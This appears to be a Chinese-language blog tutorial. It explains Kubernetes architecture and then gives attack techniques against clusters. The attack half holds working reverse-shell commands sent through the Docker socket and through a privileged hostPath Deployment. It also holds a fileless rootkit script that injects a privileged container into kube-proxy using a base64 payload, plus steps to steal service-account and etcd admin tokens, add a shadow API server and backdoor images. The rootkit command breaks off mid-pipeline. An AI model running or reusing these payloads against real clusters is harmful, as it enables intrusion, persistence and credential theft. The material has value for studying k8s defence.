一、云
《云是什么- 定義 - Microsoft Azure》 二、何為k8sk8s即Kubernetes。 其為google開發(fā)來被用于容器管理的開源應用程序,可幫助創(chuàng)建和管理應用程序的容器化。 用一個的例子來描述:”當虛擬化容器Docker有太多要管理的時候,手動管理就會很麻煩,于是我們便可以通過k8s來簡化我們的管理” 0x00 K8S 架構(gòu)簡述我們在上文已經(jīng)知道,K8S是用于管理虛擬化容器的一個應用系統(tǒng),在這小節(jié)中會著重講述K8S的架構(gòu)、實現(xiàn)原理。 下圖為K8S架構(gòu)的概覽:
k8s主要由較少的master節(jié)點以及其對應的多個Node節(jié)點組成。master用于對Node節(jié)點進行控制管理,一個k8s集群中至少要有一臺master節(jié)點。 Master節(jié)點中包含很多的組件,主要為如下 etcd : 它存儲集群中每個節(jié)點可以使用的配置信息。它是一個高可用性鍵值存儲,可以在多個節(jié)點之間分布。只有Kubernetes API服務器可以訪問它,因為它可能具有一些敏感信息。這是一個分布式鍵值存儲,所有人都可以訪問。 簡而言之:存儲節(jié)點信息 API server : Kubernetes是一個API服務器,它使用API在集群上提供所有操作。API服務器實現(xiàn)了一個接口,這意味著不同的工具和庫可以輕松地與其進行通信。Kubeconfig是與可用于通信的服務器端工具一起的軟件包。它公開Kubernetes API 。簡而言之:讀取與解析請求指令的中樞 Controller Manage : 該組件負責調(diào)節(jié)群集狀態(tài)并執(zhí)行任務的大多數(shù)收集器。通常,可以將其視為在非終止循環(huán)中運行的守護程序,該守護程序負責收集信息并將其發(fā)送到API服務器。它致力于獲取群集的共享狀態(tài),然后進行更改以使服務器的當前狀態(tài)達到所需狀態(tài)。關鍵控制器是復制控制器,端點控制器,名稱空間控制器和服務帳戶控制器。控制器管理器運行不同類型的控制器來處理節(jié)點,端點等。 簡而言之:維護k8s資源 Scheduler : 這是Kubernetes master的關鍵組件之一。它是主服務器中負責分配工作負載的服務。它負責跟蹤群集節(jié)點上工作負載的利用率,然后將工作負載放在可用資源上并接受該工作負載。換句話說,這是負責將Pod分配給可用節(jié)點的機制。調(diào)度程序負責工作負載利用率,并將Pod分配給新節(jié)點。 簡而言之:負載均衡調(diào)度器 Node節(jié)點也包含了很多組件,主要如下 Docker : Docker引擎,運行著容器的基礎環(huán)境 kubelet : 在每個node節(jié)點都存在一份,主要來執(zhí)行關于資源操作的指令,負責pod的維護。 kube-proxy : 代理服務,用于負載均衡,在多個pod之間做負載均衡 fluentd : 日志收集服務 pod : pod是k8s的最小服務單元,pod內(nèi)部才是容器,k8s通過操作pod來操作容器。一個Node節(jié)點可以有多個Pod Pod可以說是Node節(jié)點中最核心的部分,Pod也是一個容器,它是一個”用來封裝容器的容器”。一個Pod中往往會裝載多個容器,這些容器共用一個虛擬環(huán)境,共享著網(wǎng)絡和存儲等資源。 這些容器的資源共享以及相互交互都是由pod里面的pause容器來完成的,每初始化一個pod時便會生成一個pause容器。
0x01 K8S工作流程用戶端命令下發(fā)通常流程如下:
0x02 搭建K8S見《K8S環(huán)境搭建.md》 0x03 k8S的基礎概念https:///learning/(非常好的中文教程) https:///zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式 操作界面,稍微有點不好的是有些地方?jīng)]有中文)
部署(Deployment)
Deployment 譯名為 部署。在k8s中,通過發(fā)布 Deployment,可以創(chuàng)建應用程序 (docker image) 的實例 (docker container),這個實例會被包含在稱為 Pod 的概念中,Pod 是 k8s 中最小可管理單元。 在 k8s 集群中發(fā)布 Deployment 后,Deployment 將指示 k8s 如何創(chuàng)建和更新應用程序的實例,master 節(jié)點將應用程序?qū)嵗{(diào)度到集群中的具體的節(jié)點上。 創(chuàng)建應用程序?qū)嵗?,Kubernetes Deployment Controller 會持續(xù)監(jiān)控這些實例。如果運行實例的 worker 節(jié)點關機或被刪除,則 Kubernetes Deployment Controller 將在群集中資源最優(yōu)的另一個 worker 節(jié)點上重新創(chuàng)建一個新的實例。這提供了一種自我修復機制來解決機器故障或維護問題。 在容器編排之前的時代,各種安裝腳本通常用于啟動應用程序,但是不能夠使應用程序從機器故障中恢復。通過創(chuàng)建應用程序?qū)嵗⒋_保它們在集群節(jié)點中的運行實例個數(shù),Kubernetes Deployment 提供了一種完全不同的方式來管理應用程序。
相關命令:
一個yaml文件差不多就長這樣: (nginx-deployment.yaml) apiVersion: apps/v1 #與k8s集群版本有關,使用 kubectl api-versions 即可查看當前集群支持的版本kind: Deployment #該配置的類型,我們使用的是 Deployment metadata: #譯名為元數(shù)據(jù),即 Deployment 的一些基本屬性和信息 name: nginx-deployment #Deployment 的名稱 labels: #標簽,可以靈活定位一個或多個資源,其中key和value均可自定義,可以定義多組,目前不需要理解 app: nginx #為該Deployment設置key為app,value為nginx的標簽 spec: #這是關于該Deployment的描述,可以理解為你期待該Deployment在k8s中如何使用 replicas: 1 #使用該Deployment創(chuàng)建一個應用程序?qū)嵗? selector: #標簽選擇器,與上面的標簽共同作用,目前不需要理解 matchLabels: #選擇包含標簽app:nginx的資源 app: nginx template: #這是選擇或創(chuàng)建的Pod的模板 metadata: #Pod的元數(shù)據(jù) labels: #Pod的標簽,上面的selector即選擇包含標簽app:nginx的Pod app: nginx spec: #期望Pod實現(xiàn)的功能(即在pod中部署) containers: #生成container,與docker中的container是同一種 - name: nginx #container的名稱 image: nginx:1.7.9 #使用鏡像nginx:1.7.9創(chuàng)建container,該container默認80端口可訪問 POD與Node
Pod 容器組 是一個k8s中一個抽象的概念,用于存放一組 container(可包含一個或多個 container 容器,即圖上正方體),以及這些 container (容器)的一些共享資源。這些資源包括:
POD是集群上最基礎的單元 下圖中的一個 Node(節(jié)點)上含有4個 Pod(容器組)
Pod(容器組)總是在 Node(節(jié)點) 上運行。Node(節(jié)點)是 kubernetes 集群中的計算機,可以是虛擬機或物理機。每個 Node(節(jié)點)都由 master 管理。一個 Node(節(jié)點)可以有多個Pod(容器組),kubernetes master 會根據(jù)每個 Node(節(jié)點)上可用資源的情況,自動調(diào)度 Pod(容器組)到最佳的 Node(節(jié)點)上。 一個Node節(jié)點的狀態(tài)大致有以下的東西
#獲取類型為Pod的資源列表 kubectl get pods #獲取類型為Node的資源列表 kubectl get nodes # kubectl describe 資源類型 資源名稱 #查看名稱為nginx-XXXXXX的Pod的信息 kubectl describe pod nginx-XXXXXX #查看名稱為nginx的Deployment的信息 kubectl describe deployment nginx #查看名稱為nginx-pod-XXXXXXX的Pod內(nèi)的容器打印的日志 kubectl logs -f podname #在Pod中運行命令 kubectl exec -it nginx-pod-xxxxxx /bin/bash 服務(Service)
通過以上內(nèi)容我們知道,應用程序所在的Pod是一直變動著的,而每個Pod的ip又不一樣,但是對于前端用戶來說,應用程序的訪問地址應該是唯一的才行。 因此k8s提供了一個機制用來為前端屏蔽后端Pod變動帶來的IP變動,這便是Service。 Service為一系列有相同特征的Pod(一個應用的Pod在不停變換,但是不論怎么變換這些Pod都有相同的特征)定義了一個統(tǒng)一的訪問方式, Service是通過標簽選擇器(LabelSelector)來識別有哪些Pod有相同特征(帶有特定Lable標簽的POD,Lable可以由用戶設置,標簽存在于所有K8S對象上并不僅僅局限于Pod) 可以編成一個容器組的。 Service有三種選項暴露應用程序的入口,可以通過設置應用程序配置文件中的Service 項的spec.type 值來調(diào)整:
使用 NAT 在集群中每個的同一端口上公布服務。這種方式下,可以通過訪問集群中任意節(jié)點+端口號的方式訪 問服務
在云環(huán)境中(需要云供應商可以支持)創(chuàng)建一個集群外部的負載均衡器,并為使用該負載均衡器的 IP 地址作為 服務的訪問地址。此時 ClusterIP 和 NodePort 的訪問方式仍然可用。 下圖中有兩個服務Service A(黃色虛線)和Service B(藍色虛線) Service A 將請求轉(zhuǎn)發(fā)到 IP 為 10.10.10.1 的Pod上, Service B 將請求轉(zhuǎn)發(fā)到 IP 為 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。
Service 將外部請求路由到一組 Pod 中,它提供了一個抽象層,使得 Kubernetes 可以在不影響服務調(diào)用者的情況下,動態(tài)調(diào)度容器組(在容器組失效后重新創(chuàng)建容器組,增加或者減少同一個 Deployment 對應容器組的數(shù)量等)。 在每個節(jié)點上都有Kube-proxy服務,Service使用其將鏈接路由到Pod 伸縮(Scaling)應用程序可以通過更改deployment配置文件中的replicas項來設置開啟的POD數(shù)量 在前面,我們創(chuàng)建了一個 Deployment,然后通過 服務提供訪問 Pod 的方式。我們發(fā)布的 Deployment 只創(chuàng)建了一個 Pod 來運行我們的應用程序。當流量增多導致應用程序POD負載加重后,我們需要對應用程序進行伸縮操作,增加POD數(shù)量來減輕負擔,訪問流量將會通過負載均衡在多個POD之間轉(zhuǎn)發(fā)。 伸縮 的實現(xiàn)可以通過更改 nginx-deployment.yaml 文件中部署的 replicas(副本數(shù))來完成 執(zhí)行滾動更新(Rolling Update)當我們想對已經(jīng)部署的程序進行升級更新,但又不想讓程序停止,就可以使用滾動更新來實現(xiàn)。 滾動更新通過使用新版本的POD逐步替代舊版本POD來實現(xiàn)零停機更新 滾動更新是K8S默認的更新方式 0x04 k8s用戶Kubernetes 集群中包含兩類用戶:一類是由 Kubernetes管理的service account,另一類是普通用戶。
0x05 k8s訪問控制過程(安全機制)
k8s 中所有的 api 請求都要通過一個 gateway 也就是 apiserver 組件來實現(xiàn),是集群唯一的訪問入口。主要實現(xiàn)的功能就是api 的認證 + 鑒權(quán)以及準入控制。
三種機制:
注意:認證授權(quán)過程只存在HTTPS形式的API中。也就是說,如果客戶端使用HTTP連接到kube-apiserver,是不會進行認證授權(quán) k8s認證X509 client certs客戶端證書認證,X509 是一種數(shù)字證書的格式標準,是 kubernetes 中默認開啟使用最多的一種,也是最安全的一種。api-server 啟動時會指定 ca 證書以及 ca 私鑰,只要是通過同一個 ca 簽發(fā)的客戶端 x509 證書,則認為是可信的客戶端,kubeadm 安裝集群時就是基于證書的認證方式。 user 生成 kubeconfig就是X509 client certs方式。 Service Account Tokens因為基于x509的認證方式相對比較復雜,不適用于k8s集群內(nèi)部pod的管理。Service Account Tokens是 service account 使用的認證方式。定義一個 pod 應該擁有什么權(quán)限。一個 pod 與一個服務賬戶相關聯(lián),該服務賬戶的憑證(token)被放入該pod中每個容器的文件系統(tǒng)樹中,位于 service account 主要包含了三個內(nèi)容:namespace、token 和 ca
k8s鑒權(quán)K8S 目前支持了如下四種授權(quán)機制:
具體到授權(quán)模式其實有六種:
可以選擇多個鑒權(quán)模塊。模塊按順序檢查,以便較靠前的模塊具有更高的優(yōu)先級來允許 或拒絕請求。 從1.6版本起,Kubernetes 默認啟用RBAC訪問控制策略。從1.8開始,RBAC已作為穩(wěn)定的功能。 三、K8S攻擊矩陣
下圖是K8S的一些攻擊矩陣
本文就圍繞著這個框架,敘述一些有用的攻擊手法吧 0x00 k8s環(huán)境中的信息收集信息收集與我們的攻擊場景或者說進入的內(nèi)網(wǎng)的起點分不開。一般來說內(nèi)網(wǎng)不會完全基于容器技術進行構(gòu)建。所以起點一般可以分為權(quán)限受限的容器和物理主機內(nèi)網(wǎng)。 在K8s內(nèi)部集群網(wǎng)絡主要依靠網(wǎng)絡插件,目前使用比較多的主要是Flannel和Calico 主要存在4種類型的通信:
當我們起點是一個在k8s集群內(nèi)部權(quán)限受限的容器時,和常規(guī)內(nèi)網(wǎng)滲透區(qū)別不大,上傳端口掃描工具探測即可。 k8s常用端口在k8s環(huán)境中,內(nèi)網(wǎng)探測可以高度關注的端口: (各端口的滲透在下面會展開) 0x01 初始訪問1、云賬號AK泄露在如今的云的大環(huán)境下,許多業(yè)務代碼想要與云服務進行通信,就需要通過accesskey這個東西進行鑒權(quán),鑒權(quán)通過后才能與云服務進行通信。 通俗來講,人想要訪問一個服務,往往需要提供密碼來進行身份驗證;而代碼想要訪問一個云服務API,則需要提供accesskey來進行身份驗證。 如果accesskey泄露了,我們便可以利用這個accesskey來與云服務通信,反彈個云主機的shell回來作為入口點慢慢往內(nèi)打。 下面文章是關于云原生安全中accesskey安全更加詳細的論述,閱讀后可以對accesskey的概念有更深入的了解。 https://www./articles/web/287512.html https://www./articles/web/255717.html 2、惡意鏡像在docker中,容器的建立依賴于鏡像,如果pull得到的鏡像是一個惡意鏡像,或者pull得到的鏡像本身就存在安全漏洞,便會帶來安全風險 下圖便是dockerhub上部署挖礦軟件的惡意鏡像,它會從github上下載惡意挖礦軟件進行挖礦
3、API Server未授權(quán)(8080,6443)屬于是K8S中的經(jīng)典漏洞了 回顧一下API Server的作用,它在集群中被用于提供API來控制集群內(nèi)部,如果我們能控制API Server,就意味著我們可以通過它利用kubectl創(chuàng)建Pod并使用磁盤掛載技術獲取Node節(jié)點控制權(quán)(關于磁盤掛載獲取節(jié)點shell的技術在后面的小節(jié)中再進行詳細論述)。 API Server可以在兩個端口上提供了對外服務:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服務且無需身份認證,6443端口提供HTTPS服務且支持身份認證(8080和6443端口并不是固定的,是通過配置文件來控制的)。 insecure-port 開啟API Server在8080端口上開放的服務應該是用于測試,但如果其在生存環(huán)境中被暴露出來,攻擊者便可以利用此端口進行對集群的攻擊。 但是利用API Server的8080端口進行未授權(quán)活動的前提條件略顯苛刻(配置失當+版本較低),8080端口服務是默認不啟動的,但如果用戶在
環(huán)境前提:
重啟服務 在實際環(huán)境中,因為8080端口相對比較常見,導致在內(nèi)部排查常常忽略這個風險點。 利用
直接訪問 8080 端口會返回可用的 API 列表:
使用kubectl可以指定IP和端口調(diào)用存在未授權(quán)漏洞的API Server。 如果沒有kubectl,需要安裝kubectl,安裝可以參考官網(wǎng)文檔: 使用kubectl獲取集群信息:
注:如果你的kubectl版本比服務器的高,會出現(xiàn)錯誤,需要把kubectl的版本降低. 接著在本機上新建個yaml文件用于創(chuàng)建容器,并將節(jié)點的根目錄掛載到容器的 /mnt 目錄,內(nèi)容如下: 然后使用 kubectl 創(chuàng)建容器,這個時候我們發(fā)現(xiàn)是無法指定在哪個節(jié)點上創(chuàng)建pod。 寫入反彈 shell 的定時任務 稍等一會獲得node02節(jié)點權(quán)限:
或者也可以通過寫公私鑰的方式控制宿主機。 如果apiserver配置了dashboard的話,可以直接通過ui界面創(chuàng)建pod。 secure-port 配置錯誤若我們不帶任何憑證的訪問 API server的 secure-port端口,默認會被服務器標記為 一般來說 利用方法一 正常情況應該是這樣
但如果secure-port 配置失當出現(xiàn)了未授權(quán),就會這樣
方法二 利用cdk工具通過
創(chuàng)建特權(quán)容器:
之后的攻擊方式和上面是一樣的 4、k8s configfile 泄露k8s configfile配置文件中可能會有api-server登陸憑證等敏感信息,如果獲取到了集群configfile內(nèi)容(如泄露在github),將會對集群內(nèi)部安全造成巨大影響。 這里引用阿里云社區(qū)的一張圖
5、容器內(nèi)部應用漏洞入侵顧名思義,容器內(nèi)部應用就有問題(比如內(nèi)部應用是tomcat,且有RCE漏洞),從而就會導致黑客獲取Pod shell,拿到入口點 6、docker.sock 利用Docker以server-client的形式工作,服務端叫Docker daemon,客戶端叫docker client。 Docker daemon想調(diào)用docker指令,就需要通過docker.sock這個文件向docker client進行通訊。換句話說,Docker daemon通過docker.sock這個文件去管理docker容器(如創(chuàng)建容器,容器內(nèi)執(zhí)行命令,查詢?nèi)萜鳡顟B(tài)等)。 同時,Docker daemon也可以通過配置將docker.sock暴露在端口上,一般情況下2375端口用于未認證的HTTP通信,2376用于可信的HTTPS通信。 公網(wǎng)暴露(2375)(Docker Daemon)如果docker daemon 2375端口暴露在了公網(wǎng)上,那么便可以直接利用該端口控制docker容器,并通過新建容器配合磁盤掛載技術獲取宿主機權(quán)限。 fofa搜索 可以發(fā)現(xiàn)有很多暴露在公網(wǎng)的docker.sock,
我們選一個來試試水 可以發(fā)現(xiàn)是成功的調(diào)用了API查詢了容器狀態(tài)
然后我們可以通過如下指令,在指定容器內(nèi)部執(zhí)行命令 獲取到一個id
然后請求這個id,執(zhí)行此命令 就像這樣:(圖片引用自freebuf)
直接利用現(xiàn)成的docker.sock如果我們?nèi)肭至艘粋€docker容器,這個docker容器里面有docker.sock(常用路徑/var/run/docker.sock),那么就可以直接利用此文件控制docker daemon。 把上一小節(jié)的命令改改就行,加一個—unix-socket參數(shù)。 curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}' curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}" 一般來說docker.sock是存在于docker daemon服務端的,但如果開發(fā)人員想在docker容器里運行docker命令,就需要把宿主機的docker.sock掛載到容器內(nèi)部了,這就給了我們docker逃逸的可乘之機。 實戰(zhàn)案例Docker Daemon未授權(quán)訪問的檢測與利用: Docker Daemon未授權(quán)實戰(zhàn)案例:
7、kubelet 未授權(quán)(10250/10255)
kubelet和kubectl的區(qū)別? kubelet是在Node上用于管理本機Pod的,kubectl是用于管理集群的。kubectl向集群下達指令,Node上的kubelet收到指令后以此來管理本機Pod。
kubelet對應的API端口默認在10250,運行在集群中每臺Node上,kubelet 的配置文件在node上的 我們重點關注配置文件中的這兩個選項:第一個選項用于設置kubelet api能否被匿名訪問,第二個選項用于設置kubelet api訪問是否需要經(jīng)過Api server進行授權(quán)(這樣即使匿名?戶能夠訪問也不具備任何權(quán)限)。
在默認情況下,kubelet配置文件就如上圖所示,我們直接訪問kubelet對應API端口會顯示認證不通過
我們將配置文件中,authentication-anonymous-enabled改為true,authorization-mode改為AlwaysAllow,再使用命令
關于authorization-mode還有以下的配置: --authorization-mode=ABAC 基于屬性的訪問控制(ABAC)模式允許你 使用本地文件配置策略。 --authorization-mode=RBAC 基于角色的訪問控制(RBAC)模式允許你使用 Kubernetes API 創(chuàng)建和存儲策略。 --authorization-mode=Webhook WebHook 是一種 HTTP 回調(diào)模式,允許你使用遠程 REST 端點管理鑒權(quán)。 --authorization-mode=Node 節(jié)點鑒權(quán)是一種特殊用途的鑒權(quán)模式,專門對 kubelet 發(fā)出的 API 請求執(zhí)行鑒權(quán)。 --authorization-mode=AlwaysDeny 該標志阻止所有請求。僅將此標志用于測試。 --authorization-mode=AlwaysAllow 此標志允許所有請求。僅在你不需要 API 請求 的鑒權(quán)時才使用此標志。 在我們發(fā)現(xiàn)kubelet未授權(quán)后,可以進行以下操作拿到入口點 執(zhí)行Pod內(nèi)命令如果有kubelet未授權(quán),那就可以用以下命令在Pod內(nèi)執(zhí)行命令 其中的參數(shù)可以從https://node_ip:10250/pods 中獲取
可以直接回顯命令結(jié)果,很方便
獲取容器內(nèi)service account憑據(jù)如果能在Pod內(nèi)執(zhí)行命令,那么就可以獲取Pod里service account的憑據(jù),使用Pod上的service account憑據(jù)可以用來模擬Pod上的服務賬戶進行操作,具體利用方法見下面的小節(jié):[利用Service Account連接API Server執(zhí)行指令](#利用Service Account連接API Server執(zhí)行指令)
利用示例
訪問https://192.168.11.160:10250/pods,出現(xiàn)如下數(shù)據(jù)表示可以利用:
想要在容器里執(zhí)行命令的話,我們需要首先確定namespace、pod_name、container_name這幾個參數(shù)來確認容器的位置。
這里可以通過檢索securityContext字段快速找到特權(quán)容器
在對應的容器里執(zhí)行命令,獲取 Token,該token可用于Kubernetes API認證,Kubernetes默認使用RBAC鑒權(quán)(當使用kubectl命令時其實是底層通過證書認證的方式調(diào)用Kubernetes API) token 默認保存在pod 里的
如果掛載到集群內(nèi)的token具有創(chuàng)建pod的權(quán)限,可以通過token訪問集群的api創(chuàng)建特權(quán)容器,然后通過特權(quán)容器逃逸到宿主機,從而擁有集群節(jié)點的權(quán)限
接下來便是通過創(chuàng)建pod來掛載目錄,然后用crontab來獲得shell了 。 8、etcd 未授權(quán)(2379)etcd是k8s集群中的數(shù)據(jù)庫組件,默認監(jiān)聽在2379端口,默認通過證書認證,主要存放節(jié)點的信息,如一些token和證書。如果2379存在未授權(quán),那么就可以通過etcd查詢集群內(nèi)管理員的token,然后用這個token訪問api server接管集群。 etcd有v2和v3兩個版本,k8s用的是v3版本,所以我們在訪問etcd的時候需要用命令 我們想要利用etcd未授權(quán),需要使用一個工具叫做etcdctl,它是用來管理etcd數(shù)據(jù)庫的,我們可以在github上下載它 https://github.com/etcd-io/etcd/releases/
利用下載etcd:https://github.com/etcd-io/etcd/releases 解壓后在命令行中進入etcd目錄下。 etcdctl api版本切換: 探測是否存在未授權(quán)訪問的Client API 如果我們在沒有證書文件的前提下直接訪問2375端口,是調(diào)用不了etcd應用的,會提示X509證書錯誤。
我們需要將以下文件加入環(huán)境變量(ca,key,cert)才能訪問(如果有未授權(quán),那么不用帶證書都能訪問) 或者直接執(zhí)行: 查詢管理員token我們可以直接在etcd里查詢管理員的token,然后使用該token配合kubectl指令接管集群。
如果查詢結(jié)果有敏感賬戶,我們便可以去獲取他的token
拿到token以后,用kubectl接管集群 也可以嘗試dump etcd數(shù)據(jù)庫,然后去找敏感信息 如果服務器啟用了https,需要加上兩個參數(shù)忽略證書校驗 --insecure-transport --insecure-skip-tls-verify 9、私有鏡像庫暴露舉個例子,如果一個企業(yè)它的許多云上應用都是用的自建的私有鏡像搭建的,有一天它私有鏡像泄露出來了,我們就可以通過審計等手段去挖掘私有鏡像中的漏洞,造成供應鏈打擊。 10、Dashboard面板爆破dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面.在Kubernetes配置不當導致dashboard未授權(quán)訪問漏洞的情況下,通過dashboard我們可以控制整個集群。
利用默認配置登陸是需要輸入 Token 的且不能跳過
但是如果在配置參數(shù)中添加了如下參數(shù),那么在登陸的過程中就可以進行跳過 Token 輸入環(huán)節(jié)
點擊Skip進入dashboard實際上使用的是Kubernetes-dashboard這個ServiceAccount,如果此時該ServiceAccount沒有配置特殊的權(quán)限,是默認沒有辦法達到控制集群任意功能的程度的。
給Kubernetes-dashboard綁定cluster-admin:
綁定完成后,再次刷新 dashboard 的界面,就可以看到整個集群的資源情況。
獲取訪問后直接創(chuàng)建特權(quán)容器即可getshell 0x02 執(zhí)行目錄掛載逃逸這個技術是綜合了執(zhí)行、持久化、權(quán)限提升的一個攻擊方法,為了省事,就放在這里一塊說了。 首先,在我們獲取了api server控制權(quán)后,我們可以創(chuàng)建Pod,并在Pod內(nèi)部執(zhí)行命令。如果我們在創(chuàng)建Pod時,將Node節(jié)點的根目錄掛載到Pod的某個目錄下,由于我們能在Pod內(nèi)部執(zhí)行命令,所以我們可以修改掛載到Pod下的Node節(jié)點根目錄中文件的內(nèi)容,如果我們寫入惡意crontab、web shell、ssh公鑰,便可以從Pod逃逸到宿主機Node,獲取Node控制權(quán)。 具體復現(xiàn)如下 先創(chuàng)建一個惡意Pod 首先我們創(chuàng)建惡意Pod,可以直接創(chuàng)建Pod,也可以用Deployment創(chuàng)建。 既然提到創(chuàng)建Pod,那么就多提一句:直接創(chuàng)建Pod和用Deployment創(chuàng)建Pod的區(qū)別是什么? Deployment可以更方便的設置Pod的數(shù)量,方便Pod水平擴展。 Deployment擁有更加靈活強大的升級、回滾功能,并且支持滾動更新。 使用Deployment升級Pod只需要定義Pod的最終狀態(tài),k8s會為你執(zhí)行必要的操作。 如果創(chuàng)建一個小玩意,那么直接創(chuàng)建Pod就行了,沒必要用deployment。 用deployment創(chuàng)建 apiVersion: apps/v1 kind:Deployment metadata: name:nginx-deployment labels: apps:nginx-test spec: replicas:1 selector: matchLabels: app:nginx template: metadata: labels: app:nginx spec: containers: - image:nginx name:container volumeMounts: - mountPath : /mnt name: test-volume volumes: - name: test-volume hostPath: path: / 將以上文本寫入到一個yaml文件中,然后執(zhí)行 kubectl apply -f xxxxx.yaml 如果是api server未授權(quán)打進去的,可能要通過-s參數(shù)設置一下api server的ip和地址: kubectl -s http://master_ip:8080 command 這里再多嘴一句 kubectl apply 和 kubectl create 這兩個命令的區(qū)別: 兩個命令都可以用于創(chuàng)建pod,apply更傾向于”維護資源“,可以用于更新已有Pod;而create更傾向于”直接創(chuàng)建“,不管三七二十一給我創(chuàng)建就完事了簡而言之,當一個資源已經(jīng)存在時,用create會報錯,而apply不會報錯 惡意容器就創(chuàng)建好了 創(chuàng)建好了后使用命令 然后使用命令 大致流程一張圖表示如下
利用Service Account連接API Server執(zhí)行指令k8s有兩種賬戶:用戶賬戶和服務賬戶,用戶賬戶被用于人與集群交互(如管理員管理集群),服務賬戶用于Pod與集群交互(如Pod調(diào)用api server提供的一些API進行一些活動) 如果我們?nèi)肭至艘慌_有著高權(quán)限服務賬戶的Pod,我們就可以用它對應的服務賬戶身份調(diào)用api server向集群下達命令。 pod的serviceaccount信息一般存放 于 但是默認的user或者service account并不具備任何權(quán)限 這是默認情況下,一個pod使用自身service account(默認為當前命名空間的default賬戶)去請求api server返回的結(jié)果,可以發(fā)現(xiàn)是沒有權(quán)限的: $ CA_CERT=/var/run/secrets//serviceaccount/ca.crt $ TOKEN=$(cat /var/run/secrets//serviceaccount/token) $ NAMESPACE=$(cat /var/run/secrets//serviceaccount/namespace) $ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" "https://192.168.111.20:6443/version/" "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "version is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope", "reason": "Forbidden", "details": { "kind": "version" }, "code": 403 那么我現(xiàn)在創(chuàng)建一個高權(quán)限service account 并使其與一個Pod相關聯(lián),來復現(xiàn)一下這個攻擊手法 首先創(chuàng)建一個高權(quán)限service account 然后將service account與pod相關聯(lián)
再試一下,發(fā)現(xiàn)可以調(diào)用api server了
0x03 持久化這里的持久化是指如何在Pod中持久化、如何在Node中持久化、如何在集群中持久化。 如何在Node中持久化,在上一小節(jié)中已經(jīng)提到過一些:通過寫入crontab,ssh公鑰,webshell實現(xiàn),但個人覺得這幾個手段與其說是持久化,不如說是權(quán)限提升更符合實際一點,因為這幾個手段在實際滲透中都是為了從Pod逃逸出來獲取Node權(quán)限。 同時,在Pod,Node,Master上做持久化,有大部分方法本質(zhì)上是“如何在linux機器上做持久化”,而“如何在linux機器上做持久化”方法就太多了,這里就只著重于講述在“云環(huán)境”里獨有的持久化方法。 在私有鏡像庫中植入后門(Pod持久化)如果接管了對方的私有鏡像庫,我們便可以直接在其對象Dockerfile中塞入惡意指令(反彈shell等) 或者編輯鏡像的文件層代碼,將鏡像中原始的可執(zhí)行文件或鏈接庫文件替換為精心構(gòu)造的后門文件之后再次打包成新的鏡像。 修改核心組件訪問權(quán)限(集群持久化)包括且不限于 更改配置暴露apiserver 8080端口、暴露docker.sock、暴露未授權(quán)etcd、暴露未授權(quán)kubelet等修改集群配置文件達到持久化的方法。 shadow api server(集群持久化/cdk工具利用)部署一個額外的未授權(quán)且不記錄日志的api server以供我們進行持久化。 我們可以用github上專門用于k8s滲透的工具cdk(這個工具很屌)來做到這一點 https://github.com/cdk-team/CDK/wiki/CDK-Home-CN https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver Deployment創(chuàng)建容器時,通過啟用 ● ReplicationController(RC)
狀態(tài)。 ● Replication Set(RS)
● Deployment 主要職責和 這里使用 #dep.yaml apiVersion: apps/v1 kind: Deployment #確保在任何時候都有特定數(shù)量的Pod副本處于運行狀態(tài) metadata: name: nginx-deploy labels: k8s-app: nginx-demo spec: replicas: 3 #指定Pod副本數(shù)量 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: hostNetwork: true hostPID: true containers: - name: nginx image: nginx:1.7.9 imagePullPolicy: IfNotPresent command: ["bash"] #反彈Shell args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"] securityContext: privileged: true #特權(quán)模式 volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / type: Directory #創(chuàng)建 kubectl create -f dep.yaml Rootkit這里介紹一個
● ● ● 動態(tài)容器注入(高隱蔽性) ● ● 無文件攻擊(高隱蔽性)
volume_name=cache mount_path=/var/kube-proxy-cache ctr_name=kube-proxy-cache binary_file=/usr/local/bin/kube-proxy-cache payload_name=cache secret_name=proxy-cache secret_data_name=content ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}') volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}') image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}') # create payload secret cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f - apiVersion: v1 kind: Secret metadata: name: $secret_name namespace: kube-system type: Opaque data: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA...... # inject malicious container into kube-proxy pod kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" | 